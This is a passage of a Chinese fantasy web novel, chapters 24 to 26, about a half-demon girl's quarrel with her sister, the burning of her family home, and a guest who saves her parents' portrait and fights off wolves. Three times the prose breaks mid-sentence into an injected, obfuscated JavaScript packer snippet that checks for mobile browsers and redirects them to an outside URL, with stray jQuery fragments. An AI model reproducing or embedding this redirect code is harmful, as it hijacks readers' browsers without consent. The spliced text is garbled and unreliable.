红鸾见糊弄不过去,才道:“神凤二年。那时《捉妖令》刚出,鹤老夫人亲自到处召集同族。我见过她,她那年三百二十几,已经是个眉发皆白的老人家,那时还不是岛主,她……” “我现在不想听你讲鹤夫人,我要听你的事。”青崖打断红鸾,不让她转移话题,算着年份道:“我神凤四年出生,神凤二年?那时候我爹娘也是刚刚开始在这里开始隐居,姐姐你是神凤八年到这里来的,现在是神凤二十一年。” 红鸾没抬头地嗯了一声。 青崖不解:“那你在来这里隐居之前就收到过灵岛邀请,为什么没有去灵岛?” 红鸾:“因为一些原因。” “……” 青崖毫不怀疑,如果不是碍于她能听出谎言,姐姐肯定会随便编个理由骗她。现在,也是因为怕她看出什么端倪所以一直装作低头专注于刺绣而不与她对视。 “因为什么?”她近乎央求地问道,“能告诉我吗?” “以后再告诉你。” 以后以后,对于不想说的事,姐姐总是这样推辞。 近来青崖发现姐姐知道而她不知道的事实在太多了。 姐姐待她很好,但总不肯与她交心,把她当成一个孩子。她真是个孩子的时候还可以接受,可她现在已十七岁,姐姐还对她有所隐瞒,这让她十分懊恼。 青崖怨念道:“说是一起隐居,实际上对外面什么都不知道的人只有我。你为什么那么了解皇室?皇帝有几个儿子、几个女儿、几个在世、几个不在世你都知道得清清楚楚,我想同阿远打听点什么你都不让我打听。你还知道灵岛,见过鹤老夫人……我最近总觉得自己很无知。” 红鸾漫不经心道:“无知有什么不好。” “不好!”青崖大声道,“长山有一天居然问我知不知道现在的年号,知不知道是哪一年,我说我知道现在是神凤二十一年,他还很惊讶。我看起来就那么无知!” 红鸾道:“怎么,你很在意他如何看你吗?” “现在不是在说他!我问你,如果我去灵岛定居,你会和我一起去的吧?” 虽是问句,其实她心里有笃定的答案,笃定姐姐一定愿意,就像她给洲禾的回答是:“姐姐去哪我就去哪。”姐姐必定也是如此,她去哪里,姐姐就愿意去哪里,她们会一直在一起,永远不分离。 可是红鸾道:“你想去可以自己去,何必非拉着我。” 冰冷的话语,冰冷的语气,犹如一把重锤狠狠砸在青崖胸口。 青崖盯着姐姐的侧脸,呆了半晌,难以置信地问:“你让我自己去?你不想去,也不留我和你在一起,而是让我自己去?” 红鸾终于抬起头,直视着她道:“我们本来就不可能一直在一起,你长大以后想去哪里是你的自由,我也有我的自由。” “你……说什么?”青崖眼睛一眨不眨地盯着姐姐,道:“什么……自由?你再说一遍?” “我们不可能一直在一起,你长大以后想去哪里是你的自由,我也有我的自由。”红鸾声音冷硬地又说了一遍。 青崖想确认她在说谎,可无论直觉还是辨言天赋,都在告诉她,姐姐一字一句,皆是实话,甚至发自肺腑。 她感到喉咙与胸口被什么彻底堵住了。 *** 青崖气得连续好几日都不同姐姐讲话。 以往她有什么要求,姐姐若是一开始不答应,她一撒娇哭闹,姐姐总会妥协让步。 这次她也想等姐姐来哄她。 姐姐不愿意去灵岛,也不愿意说原因,她可以不追根问底,只想让姐姐也挽留她,这样她就会把灵岛当作不存在,心甘情愿地“姐姐去哪里我就去哪里”。 只需姐姐一句话。 可这一次,红鸾对生闷气的她视若无睹,每日只是专心刺绣,她一出门,红鸾就化作红鸟跟着。 到第三日,灵岛请帖上面的山水与文字倏然消失,变成了一块普普通通的空白木板。 *** “我现在已经长大了,我要自己住!” 在从红鸾家走到自己家的路上,青崖突然停下脚步,捡起树枝在地上划出一条深深的线,站在线后对树上红鸟喊话,“从现在开始,我绝不会踏过此线半步,我要自由地,自己住!” 红鸟无言地摆了一下头,青崖丢下树枝,大步流星走向自己的屋舍。 她与姐姐冷战,在她房子里借住的三人关系倒是越来越和谐。 裴浩专注打坐的时长,从一次一炷香的时间延长至一次半个时辰。 阿远的骨伤有所好转,已可以拄着拐杖走路。 长山对他们的态度有所缓和,一日,她午后而至,竟看到三人在流经山谷的河边和睦地排成一排垂钓。 红鸾偶尔跟她说一次话,就是念叨:“那三个人什么时候走?已过去半个月,外面找他们的人应当也放松警惕了。” 青崖倍感气闷。 那三人若是离开,木屋会再次变得空空荡荡,没有长山给她冲泡香甜的花果茶,没有阿远同她聊父亲的游记,没有裴浩向她切磋请教武艺。 每念及此,五脏六腑都痛了起来。 以前她有什么心事都会毫不保留地告诉姐姐,最近发现姐姐并不对她敞开心扉,于是她也把所有想法闷在心里,为了展示自己态度坚决,甚至决定不和姐姐一起住了。 自从外来三人住进她的房子里,她就再没有住过自己的房间。 曾有好几次,她表示想在自己那里过夜,她试图说服红鸾:“和武力不如自己的三个人同处一室,绝对不会有危险。” 但红鸾强调:“防人之心不可无,要害你的人未必需要武力比你强。” 如此,每次都被红鸾强行劝走。 这次,她打定主意要留下。 当日,外来三人的晚饭是烤鱼,长山将烤好的鱼递给她,她没有接。 “你不爱吃烤鱼吗?”长山问。 青崖道:“不是,我只爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13321837|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃父亲给我烤的鱼。“父亲故去后,她便不再吃烤鱼了。 饭后,她一直在屋里逗留,完全无视外面越来越暗的天色与树上的啾啾鸟鸣。 直到夜色更浓。 “我不走。”青崖对来接她的红鸾道,“这里是我自己的家,有房有床,我为什么非要去你家住?” 长山等三人看出她们姐妹俩在闹矛盾,知趣地要避开,她却道:“你们不用避开,我与姐姐没什么秘密的话要讲。” 长山劝道:“男女有别,姑娘既有更宽敞的住处,何必与我们挤在一起?你不知道,裴浩半夜鼾声巨大,我都睡不好。” 裴浩想张口反驳,被长山一个眼神堵了回去。 实际青崖知道,裴浩为了保护阿远,每晚都睡得很浅。有一次她半夜来家里取东西,只是开门时发出了些微声响,裴浩就提着剑出现了。 青崖不理长山的说辞,在暖炉前席地而坐,坚决道:“我的房子我做主,我想住就住。晚上我还要和你们围炉夜话、畅所欲言、把酒言欢。” 一提到酒,裴浩记起红鸾上次的酒后暴行,生怕红鸾也留下来“把酒言欢”,忙不迭劝道:“小师父,我们明天白天,不喝酒,也可以畅所欲言。” 阿远深深点头表示赞同。 满屋没有一个人与自己意见一致,青崖怒气更甚,转头定定注视着裴浩道:“我给你的心法是假的,我胡编的,为了骗你多打坐休息而已,你以后不用练了,我的功夫没有心法,天生如此,你再打坐也练不成我这样。” 裴浩想学青崖的“神功”,不仅因为希望能更好地保护陵王,更因为他本身也对武学极为痴迷。这几日他把青崖给他的心法熟记在心,倒背如流,一直沉浸在得到高人指点、有机会修习神功的喜悦中,猛听得心法是假的,如遭雷击,目瞪口呆。 他震惊许久,才收起下巴道:“可是……我觉得我的剑法真的有进步?” 青崖道:“那是因为我日日和你切磋,水涨船高什么的,问长山。他说你需要休息,又不肯自己劝你,所以我才让我用心法骗你打坐。” 长山:“……” 裴浩:“……” 一直镇静翻书的阿远停了下来,想开口劝说,又不知该先劝谁。 红鸾走进屋,居高临下地停在青崖面前,语气平直道:“跟我回去。” 青崖:“我不。” 红鸾开始数数:“一——二——” 三还没有念出,青崖嗖地原地起立。 姐姐只有一次数到了三,那次是因为她总不肯修炼,姐姐就用结界把她圈禁在一方比卧房还小的空间里,逼她连续闭关修炼了一个月。 在平时,姐姐几乎万事随她,可一涉及与修炼和安全相关的事宜,就变得斩钉截铁,说一不二。 若这次再叫姐姐数到三,等她闭关出来,外来这三人怕是早就被赶走了。 青崖被驳了面子,气得满面通红,猛踢了一脚暖炉,转身走出屋去。听到屋里三人低声轻笑,更是胸口憋闷,走过早晨自己画下的所谓“今后绝不踏过半步”的分隔线,回到姐姐的房子,也不肯与姐姐在同一屋中休息,自己独占一室,辗转反侧至深夜才睡。 这一觉没睡多久,突然满屋灯火通明,红鸾急匆匆的脚步声停在她床边。 “青崖,醒醒,你房子那边出事了。”红鸾少见地显出一丝惊慌。 24. 无毁我室2 青崖一骨碌坐起,闻到空气中火焰燃烧的味道,与红鸾对视一眼,二话不说起身往门外冲去。 她们能看到木屋时,大火已经将整座房子吞没,只见火光冲天,浓烟滚滚。 阿远身穿单薄寝衣,扶着一棵树,单脚靠在远处焦急观望,长山与裴浩不停从河中取水灭火,小河与房子相隔有一段距离,在熊熊烈火面前,他们两人的力量,更无异于杯水车薪。 红鸾在距离很远时就手中捏诀,尽量控制速度,让火看起来像是自然熄灭,青崖到达木屋近前,火已彻底熄灭,唯余呛鼻浓烟,原本温馨的山间木屋,只剩焦黑框架,立在一片废墟之上。 裴浩将一桶水泼在有火星的地方,嗤啦一声,蒸腾起一股白烟。他气喘吁吁道:“小师父……我明明记得睡前把炉中的火灭了,谁知晚上我们睡着后四周突然燃烧起来,发现的时候,已经很难扑灭……你……” 青崖呆滞地看着废墟,仿佛没有听见裴浩的声音。 没有了。 十几年的回忆,父母留下的东西,满屋书籍游记,她积累的画稿……一夜之间,付之一炬。 “青崖姑娘,这火起得蹊跷,凡是用火之处,我和裴浩每天睡前都会各自检查一遍,几乎不可能有火未灭……” “青崖姐,你别太伤心,我们帮你重建房子……” “青崖,火中有术法痕迹……” 周围不断有人说话,青崖听入耳中只觉是一片嘈杂之声,她梦游一般走近,绕着废墟走了一圈,灰烬余温熏得面庞发烫,她跪地抓起一把焦土,似乎终于知道自己居住十七年的房子确实是被烧毁了,哇的一声,旁若无人地大哭起来,她边哭边擦脸,也不管手上沾了黑灰,几下就把脸擦得像刚刚从火中逃生出的一样。 长山与裴浩手忙脚乱地又是道歉又是递手帕,阿远也单脚跳过来坐在她身边劝慰,而她谁的话也不听,谁的手帕也不接,只管纵声大哭,哭得上气不接下气。 红鸾拨开三人,揽过她道:“别伤心,我给你在原地再建一座房子,保证与之前一模一样。” 而谁都知道,建房容易,要与以前一模一样却很难。 青崖猛地拨开红鸾的手,哭道:“我都说了我要留下,你为什么不让我留下!如果有我守着,房子肯定不会变成这样!” 红鸾垂下手臂,一时无法反驳。 确实,如果她没有强迫青崖离开,就算有火,以青崖的速度,无论取水救火还是快速找她求助,都绝对不会发展到让整个木屋化为灰烬的地步。 青崖擦了一把眼泪,站起身来,扭头往屋后山坡上跑去。 她一路跑,一路踢踢打打,身后有个声音一直在叫她,她听到那个声音,却跑得更快。房屋被烧是一场意外,要怪也该怪纵火的人,怪不到姐姐,也怪不到屋里暂时借助的那三个人,可她还是忍不住在心里作出种种假设:假如姐姐没有强迫自己离开,假如那三个人没有住在里面,假如她自己没有多管闲事非要救他们…… 这时听他们的劝解,只会让自己更暴躁。 “青崖姑娘,你慢一点——”天黑树密,长山在后面追地磕磕绊绊。 青崖被追得烦了,回头喝道:“不许跟来!” 长山在距离她后面很远之处喊话:“火是怎么燃起来的现在还不清楚,你最好不要落单,免得遇到什么危险——” “别跟着我!再往山上去,危险的是你不是我!” 青崖无心思考,此时只想去一个地方,丢下这句话后,就加快速度,顺着木屋后面的山坡,一直往后山高处攀爬,没有留心长山的声音是何时消失的。 她一直跑到后山山顶,在两座坟前停下。 那是她父母的坟。 此处地势居高临下,父亲曾说她母亲生前最爱看山顶的风景,于是把她母亲葬在这里,自那之后,父亲常常到山顶吹笛,一待就是大半日。 后来父亲去世,她也把父亲葬在这里,继承了父亲的习惯,也常常来此吹笛。 “爹,娘,”青崖凝望石碑哭诉,“你们留给我的房子,没有了……” 星光闪烁,回答她的只有沙沙风声。 那栋房子是二十年前她父母共同选址、建造的。里面有他们一起生活过的痕迹。 父亲和她一起生活八年,对她爱护有加,自是印象深刻;母亲在她出生当年去世,本没太多记忆,可父亲在八年期间陆陆续续把母亲的性情喜好、生平事迹反复讲给她听,详细地让她有种也同母亲一起生活过的错觉。 父母离开后,他们的房间几乎一直保持原样,她想念他们时,就去他们的房间坐一坐,看看他们用过的东西,读一读他们留下的文字,将来若有机会,就跟随父母的游记,去游遍大江南北。 这一把火以后……就真的空有回忆了。 青崖失魂落魄地在坟前坐下,望着两座坟茔,眼里浮现出父母在那座房子里生活的情景,她很是怀念父亲教他吹笛、教她识字、整理母亲衣物、偶尔带她出去感受人间烟火的日子。 山坡上传来几声狼嚎,一声接着一声。山里有狼,一般在山坡另一面,今日不知怎么听起来像在她房子的这面。 青崖脸上挂着泪,看向天空,只见月亮在云层中穿行,时隐时现。 夜晚,正是野狼活跃的时段。 这和她没什么关系,只不过注意力被转移走了一点点。她在坟前静坐,想到父母、父母留下的衣物、书籍,想到姐姐那句轻飘飘的“我们不可能一直在一起”,想到自己作为半妖的尴尬与孤独……突然之间所有伤心事一齐涌上心头,忍不住埋头痛哭。 狼嚎声此起彼伏,她注意到那声音竟是源于她跑来路过的地方。 “糟了!” 长山追她到山林中,不知回去没有,夜路那么黑,普通人可没有她这种五感与速度,如果是裴浩遇见狼还可与之一战,如果是丝毫不会武的长山…… 想到这里,眼泪都被憋了回去,她反身往回疾奔,因是下坡,跑得比来时还快,路上又听到两三声狼叫,奇异的是,这几次叫声中夹杂着惨痛呜咽,似是狼受伤后的叫声。 她脚步不停,终于在半山腰密林里看到了狼,共有八只。群狼眼神兴奋,在暗夜里散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13321838|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发出凶狠荧光,盯着中间的猎物——长山。 狼群果然跑到了山坡这面,长山也果然没有半路回去。他左边小臂鲜血淋漓,已被咬伤。 群狼停在他几步之外,怒目瞪视,似是警惕什么,不敢立即扑他。 定睛望去,长山右手握着一根约莫半尺的纤细之物,上面沾满鲜血,分辨不出本来是什么。他面前的狼腹部受伤,细小血洞正与他手中凶器形状吻合。 群狼只停滞了一息,就默契地调整阵形,长山面前的狼与他对峙不动,侧边他不易察觉的地方,有两只狼绕到他身后匍匐靠近,作势欲扑,青崖大呼:“小心背后!” 长山急速转身,恰好用手中武器刺中一只偷袭扑来的狼,青崖纵身跃起,及时一脚踹开另外一只。 群狼见另有人来,纷纷龇牙咧嘴,凶相毕露。 “退!下!”青崖落地,抬头环顾,睥睨狼群,朗声怒斥:“这是我的客人,谁敢伤他!” “姑娘小心……”话音未落,长山敏锐地觉察到了某种非同寻常的气氛。 没有一只狼再敢靠近。 月亮透过云层洒下朦胧的光,似有一种看不见的锐利力量,以青崖为中心向四面八方扩散,狼群的凶恶杀气像蜡烛熄灭一样倏然消失,狼们个个收起攻势,头狼“嗷呜”一声,八只狼一齐有序撤退,不到片刻,消失在黑色密林深处。 群狼走远,青崖转回身来,抽走长山手中的“武器”细看,竟然只是一根竹签,不可置信道:“你就用这个戳伤了狼?” 长山道:“动物的要害与人类似,有些穴道,虽不能致命,戳中却足以造成能让它们失去行动力的剧痛。当然,若不是你及时赶到,我也支撑不了多久。” 他说地轻巧,可看他鲜血淋漓的左臂,就知定是经历了九死一生的危机,全靠他机智冷静才勉强撑得片刻。 青崖带了几分薄怒,没好气道:“不是说了让你回去,你还跟着我做什么!你看,被咬伤了吧!” “我……担心你。” “担心我?你功夫不如裴浩,更不如我,能保护谁?” 青崖气闷了数日,这晚惊惧交加,情绪繁杂,话说出口才觉有几分无礼。 长山一愣,旋即低头自嘲:“是啊,我谁都保护不了。” “……我不是那个意思……”青崖恢复理智,知道自己说了伤人的话,低头揭开长山袖子检查伤口,拿出手帕给他包扎,“先止血,回去再清洗上药。” 一说“回去”,她惆怅地想起自己的房子已经没了,那么她回哪里?回废墟里去么? “对了,青崖姑娘,”长山在身边石头缝隙里摸索,摸出一个卷轴,用袖子垫着抽出来,“我是想追上你给你看这个的。” 那是他遇见狼时,第一时间藏起来的东西。 卷轴微微发黄,一看就有了年头,青崖眼神一亮,把手在衣服上擦干净才接过卷轴小心翼翼打开,里面是父母的画像,这画像一直挂在她的书房,也就是借给长山暂住的房间。 “是我爹娘的画像!”她惊喜道,“你从火中救出了我爹娘的画像!” 25. 无毁我室3 “是啊,”长山道,“除了这幅画像,还有你书柜上的书、一堆绘画手稿,你父母床头的木箱……我和裴浩看救不了火,只好把这些可能重要的东西先搬出来。” 青崖一时无言。 书是父母留下的,床头木箱里是她舍不得丢弃的父母遗物,手稿是她自己多年的心血。 这么说来,除了房子本身,其他很多重要的东西都还在。 比起曾经拥有,更让人欢喜的,是失而复得。 青崖体验了一把大悲之后的大喜,语气明显变软了,道:“你们搬出了那么多东西,怎么不早说?” 害她以为真的什么都没了,好一番哭天抢地。 长山歉然道:“一看到你哭,我们就都慌了手脚,毕竟烧掉的东西比我们保留下来的要更多,你好心好意留我们在你家养伤,我们却没能保护好你最珍爱的房子,实在是对不住……” 青崖道:“这是爹娘和我一起生活过的房子,所以我才珍爱它。那个房子,是我从小长大的家。” 长山点头:“我明白,姑娘珍视的是与父母的记忆,房子不是家,寄托在其中的感情才是。在下以为,这份记忆与怀念,无论发生什么、丢失什么,都没法从你心中夺走。” 青崖小心地把父母画像卷起,抱在怀里。 那个房子她生活了十七年,杂物甚多,要按财物价值排名,书卷画稿都不是最贵重的,衣柜里有许多用料上好做工精良的裙衫,梳妆镜前有几件名贵的珠宝首饰,而危急之时,长山与裴浩准确无误地优先保住了她最珍视的东西。 刹那间,孤独与伤心都有所减轻,青崖再次端详手上的卷轴。长山跑来追她,没挑别的,只挑了这一幅画。 “你怎么知道我最珍爱的就是这幅画?” 长山道:“姑娘把它挂在书房最醒目的位置,自然十分珍爱,而且,我也知道思念父母是怎样一种感觉。” 同样失去父母,长山连一栋房子、一幅可供凭吊的画像也没有,想到这点,青崖的自怜都转变成了同情。此时才发现,长山的发尾都被烧焦了,身上衣物也有好几处火星飞溅灼烧出的破洞。 青崖碰了碰长山额头上的一处擦伤,感动道:“这是冒险从火中搬东西出来时受的伤吧?” “不是,”长山道,“这是在林子里追你的时候被树枝擦伤的。” “哦……”青崖更内疚了。 “长山先生,我方才说错了,”她道,“你虽武力不如裴浩,但同样在大火面前替我救出了我最舍不得的东西,还不顾危险来追我,我很感谢你。” 长山佯装难堪道:“就不要重复强调我不如裴浩了吧……” 青崖终于笑了,她一笑,长山如释重负,也跟着扬起嘴角,道:“姑娘武艺绝佳,没想到对狼的威慑力更是非同一般。” 青崖道:“我认得那群狼,它们曾被我打败过,所以不敢惹我。” “原来如此,”长山点头,“咱们回去吧,令姐一定很担心你。” 提起姐姐,青崖嘴角的笑容消失了,她坐在原地,一点儿也不想起身回去。 “还没与姐姐和好吗?”长山温声问道。 青崖长长地叹出一口气。多日来与姐姐冷战,这一晚又失去房屋,她早有好多话想找人诉说,道:“你就在这里陪我坐坐吧。” “好。”长山在她旁边的石头上坐下。 “我累了,想靠一会儿。” “若不嫌弃,靠在我背上吧。”长山调转方向,背对着她,拍了拍肩。 青崖卸掉全身力气,放松地靠到长山背上。 为了让她靠得更舒适,长山往前微微俯了俯身。她半夜惊醒,素面朝天,及腰长发没有约束地散落下来,坐下时,有几缕正好越过长山肩头,垂落在他的胸前。 长山忍不住拨弄了一下那几缕青丝的发梢,问:“你为什么和令姐闹矛盾?” 为什么?她与姐姐的事,有哪一件可以说给长山听,又不用对长山说谎的? 如果能把一切,包括她们的特殊身份都一吐为快就好了。 青崖想了一想,道:“我给你讲一件小事吧,一件与我和我姐姐有关的小事。” “好。”长山悄悄将将青崖的几缕秀发绕在指尖,满眼柔情。 青崖调整坐姿,让自己在长山背上靠得更加舒服,开始讲道:“我十二岁的时候,有一次背着姐姐偷偷溜出去玩耍,其实也没走太远,就在最近的山村里。我路过一户人家,有个三十多岁的男人在自家院子里生火煮汤喝,他见我路过,就招呼我进门,说看我走累了,要分我一碗汤喝。” 十二岁的时候,她还对各种食物味道都有所好奇,什么都想尝尝,直觉知道男人的友善是假的,还是接过那碗汤,想知道里面有什么蹊跷。反正妖吃了人的普通毒药也没事,她无所畏惧。 “那汤味道很奇怪,带有一股苦味。我喝汤的时候,男人一直瞧我,瞧得我浑身不爽。他说要送我一件漂亮衣裙,让我跟他去屋里,我对衣裙不感兴趣,拒绝了他,他还不死心,总在说话间找各种各样的理由引我跟他去他的屋里,还时不时靠近我嗅闻,一直说我好香,浑身都香,他想抱抱我。” 长山皱起眉头,问:“然后呢?” “喝下汤没多久,姐姐就找来了。姐姐找来的时候,那个男人正拎着一缕我的头发,放在鼻子下面闻,说我的头发也很香,说他想亲亲我,然后,”青崖顿了顿,“姐姐用火把那个男人的两只手都给烤糊了。” 男人惨叫着在地上打滚的场景,至今令她印象深刻。毫无疑问,若是妖能杀人不遭反噬,那个男人肯定不仅仅是双手被烤。 长山听到这里,低下头,看了一眼自己不安分的手指,忽然之间,少女青丝仿佛变作炽热火焰,他被烫到一般,手指一松,任由那几缕发丝垂落下去,在他眼下轻轻摇晃,再不敢碰。 青崖感觉到他的脊背骤然变得僵硬,笑道:“你放心,我姐姐也不是不讲道理的人,他在烤那男人双手之前还曾问过我愿不愿意被那男人摸头发,我说不愿意,她才把那男人的手给烤焦了。” 长山道:“为什么突然想讲这个故事?” “想起来了,就随口讲讲,”青崖道,“姐姐关心我保护我,我知道,但我不喜欢她一直把我当小孩来保护,我最近发现她有很多事都不告诉我,故意不让我知道。我本与她相依为命,她这样有所隐瞒,让我觉得很孤独。” 长山道:“姑娘对待我们外来三人可谓友善之至,但同时也对我们是有所隐瞒的吧?” “为什么这样想?” “隐居世外的人,一般都有特殊缘由。我相信姑娘对我们有所隐瞒,定然不是出于恶意。所以有些事情不是不愿分享,也不是故意疏远对方,而是总有难以说明的理由。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13336489|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何况令姐的脾气看起来就是那样,只顾做事,不顾解释,她一定也不是故意让你感到孤独的。” 青崖仰头观望树梢之间的月亮,几乎把头枕在了长山的肩上。 长山继续道:“我以前有个邻家玩伴,我们从小就认识,后来我们都十几岁了,当我想到他的时候,想起的总还是小时候认识的那个小孩子。我想令姐大约也是如此,你不再是小孩这件事,她也需要时间慢慢适应。等她适应了,完全不再管你,那时候你还会舍不得呢。” “我知道我会舍不得她,可是现在更让我伤心的是,她这样管束着我,居然还说‘我们早晚会分开’,而且她说得那么轻而易举,好像她一点也不会舍不得我,只有我舍不得她。” 长山笑了一下,“你知道还有什么人常说这种话吗?” “什么人?” “把孩子当心头肉的父母。父母希望儿女早日独立,有自力更生的本事,所以才会这样说。我不知红鸾姐是在什么样的情况下说出这种话的,常言道,长姐为母,从你们日常相处来看,她绝对是十分在意你的,”长山微微偏头侧对青崖,道:“有时候,能准确传达心意的不是言语,而是行为。” 青崖回想了一下,洲禾来时,姐姐显然不情愿让洲禾说出来意,收下灵岛请帖后,姐姐丝毫没想让她应邀,而是让她以后可以考虑去。这个“以后”,会不会也像姐姐所说“以后告诉你”的那个“以后”一样遥遥无期? 如果一样,那就可以释然了。至于“我们早晚会分开”这种话,其实姐姐催促她修炼时,也曾说过类似的,比如:“我不能时时在你身边,你得有能力保护自己。” “你很会安慰人嘛,”青崖感到心头被堵着的地方舒畅了一些,语气都变得轻快了,“那我的房子没了,你也安慰安慰我。” 长山道:“房子没了可以再建,如果需要,我愿意留下出一份力,一直帮忙到新房盖好。” 说到房子,青崖还是伤心,“可我只想要和以前一模一样的房子。” “那就建一座和以前一模一样的。”红鸾的声音从山林树后传来,一袭红衣随声而至。 长山迅速站起,恭谨地向红鸾欠身,仿佛做了什么失礼的事情。 青崖也起身回头。早在故事讲到一半的时候,她就听到了姐姐由远及近的脚步声,后来的话,既是对长山说,也是对姐姐说。 红鸾手里拿着几张纸道:“你看这是什么?” 她接过那几张纸低头一看,是几张不同角度的屋舍草图,虽画工潦草生疏,但原先的木屋什么样,窗在哪,门在哪,长几何,宽几何,各处尺寸都标注得明明白白,就连周围有什么树木景观,也一眼明了。 青崖讶然,哪怕她对自己的房子非常熟悉,究竟宽几何长几何这样精确的数字,她也是不知道的。 “这些尺寸数字是怎么来的?” “是那哲远与裴浩画的,”红鸾解释,“总算他们还有点用,哲远说因为喜欢这里,想以后也拥有一座这样的房子,所以前日里叫裴浩特意测量过。还有几本他看过却被烧掉的游记,他说他也能默写出来。我明日就去找几个最好的工匠,保证入夏之前就给你把新房子盖好。” 青崖没有任何怨念了,跳起来搂住红鸾,又用那种故意拖长的音调呼唤:“姐姐——” “放心,”红鸾轻拍她的后背,“有姐姐在。” 26. 无毁我室4 红鸾的家完全也算青崖的家。 青崖失去自己的房子也有地方可住,外来借助的三人就没那么幸运了。 红鸾向来不让外来男子迈进她的家门半步,长山、哲远与裴浩也没有奢望能住进红鸾家,自觉地在原来的废墟边搭建草棚睡帐做临时住所。好在已将近四月,天气越来越暖,红鸾提供的被褥衣物也足够。 三人出于歉疚,都表示要留下帮忙重建木屋。红鸾知道青崖喜欢热闹人气,为了安抚她失去房子的沮丧心情,再次允许三人多留一段时日。 屋舍被烧毁的第二日,青崖与红鸾乘坐一辆牛车,赶往方圆几百里之内最繁华的郡城——泰安城,去找建房工匠。 长山坐在牛车前赶车。 之前几次出门都没遇追兵杀手,长山表示想去更远的地方探索试试,若是没有什么危机,他还想去他原来的山寨取回一些旧物。官兵剿匪一般会把山寨中的东西能收走的都收走,收不走的毁掉。不过他的重要之物都藏在地下暗格之中,除非官兵剿匪后,还一寸一寸摸地搜索,否则很难发现。 由于山寨位置隐蔽,他藏东西的位置也隐蔽,只能他亲自去取。红鸾没有反对,带他一起出发。 途中休息的时候,长山几次欲言又止,到第四次,青崖终于沉不住气催问:“你是不是有什么话要说?” 长山对于要说的话有些赧然,被如此直白发问,才下定决心讲出,踌躇道:“青崖姑娘,你是不是……最好检查一下陵王的信件?毕竟他不过是个萍水相逢的陌路人,若是他无意于保护你的隐居地,把官兵引来山谷怎么办?” 出发之前,阿远与裴浩得知青崖要去泰安找建房工匠,就写了封信,拜托她送出。 裴浩在突袭山匪营救陵王之前预料到会与其他侍卫同伴走散,他与同伴曾约定好,无论情况怎样,只要还活着,就一定会去泰安城内的某处相聚,若是没等到对方,至少也会在那里给对方留下信息。 裴浩是陵王的侍卫,他的面貌,有许多人熟识。平王现在最怕陵王出现,说不准安插了多少眼线在泰安城,裴浩自己不便露面,只好拜托青崖。 青崖知道他们一定迫不及待想了解外面的情况,和外面他们的人取得联系,毫不犹豫答应送信。 她宽慰长山:“阿远把信给我的时候保证过,他只是给自己人报个平安,通知外面的人做好接应他的准备,绝对不会暴露我的住处,也没有提到你。他还说送不送信,可以让我到了泰安城视情况而定,不必冒险。” 长山忧心不减,道:“万一呢?皇室向来自私,只考虑自己的利益,万一他急于自保,让人到谷中接他,那你的住所岂不是要被人发现?到时候你愿意搬家吗?” 青崖不愿意搬家,也坚信阿远不会害她搬家。 长山见无法说服她,试图寻求帮助,转而向红鸾道:“红鸾姐,你就不担心吗?陵王毕竟是个皇子,就算他没有恶意,可他才十五岁,这一次又受了惊吓,他做事真的会替你们考虑周全吗?我不是让你们不帮他送信,而是应确保那信对你们无害——” 长山滔滔不绝。 青崖头痛不已。 这熟悉的唠叨。 过度的保护欲。 竟然和姐姐如出一辙。 她简直怀疑姐姐不反对带长山出来,是不是料到长山能代替她说这些话。她们姐妹二人和好不久,她的屋舍被烧毁,姐姐心中有愧,最近一个严厉、拒绝的字眼都没对她说过,连带着对那几个外人都客气起来。 红鸾闭目养神,悠闲地回应长山:“我又没答应送信,是她答应送信,陵王把信给了她,那信就由她做主。” 长山只得再次对青崖重复:“姑娘还是检查一下他的信才好。” 青崖道:“阿远是个好少年,我相信他知恩图报,再说,我住的地方,没有我和姐姐带领,别人是进不来的。你应该看到了,山谷附近的草木巨石,看似自然,实际在关键地方都是特意布置过的,是个上古迷阵,别人靠近,只会晕头转向,在外围打转。” 这一点长山有亲身体验。 他之前独自采药时四处查看周边环境,就发现无论朝什么方向走,最后总是绕回到房子附近。青崖带他出去时,也总绕来绕去,每一次出入山谷的路都不同,像是真有什么阵法布局一般。这个叫做槐谷的山谷周围,确实有一层他不能破解的屏障,隔绝了里外。 这次远行也是,谷中没有清晰道路,更无车道,他们走出山谷,才弯弯绕绕在三里地之外一个草垛里拉出不知何时隐藏在那里的牛车。 “可是万一……”长山忧心忡忡。 他们出门前作了一番乔装打扮,穿的都是陈旧粗布衣服,把脸涂得又黑又黄,长山还贴着假胡须,把眉毛染得灰白,此时配上他担忧的面容,看起来越像一个中年古板学究。 “你这人还是这么多疑,你是不是担心阿远在信里揭发你是劫持皇子山匪中的一员?”青崖把信拿出来递给他,“不如你检查一下信?” 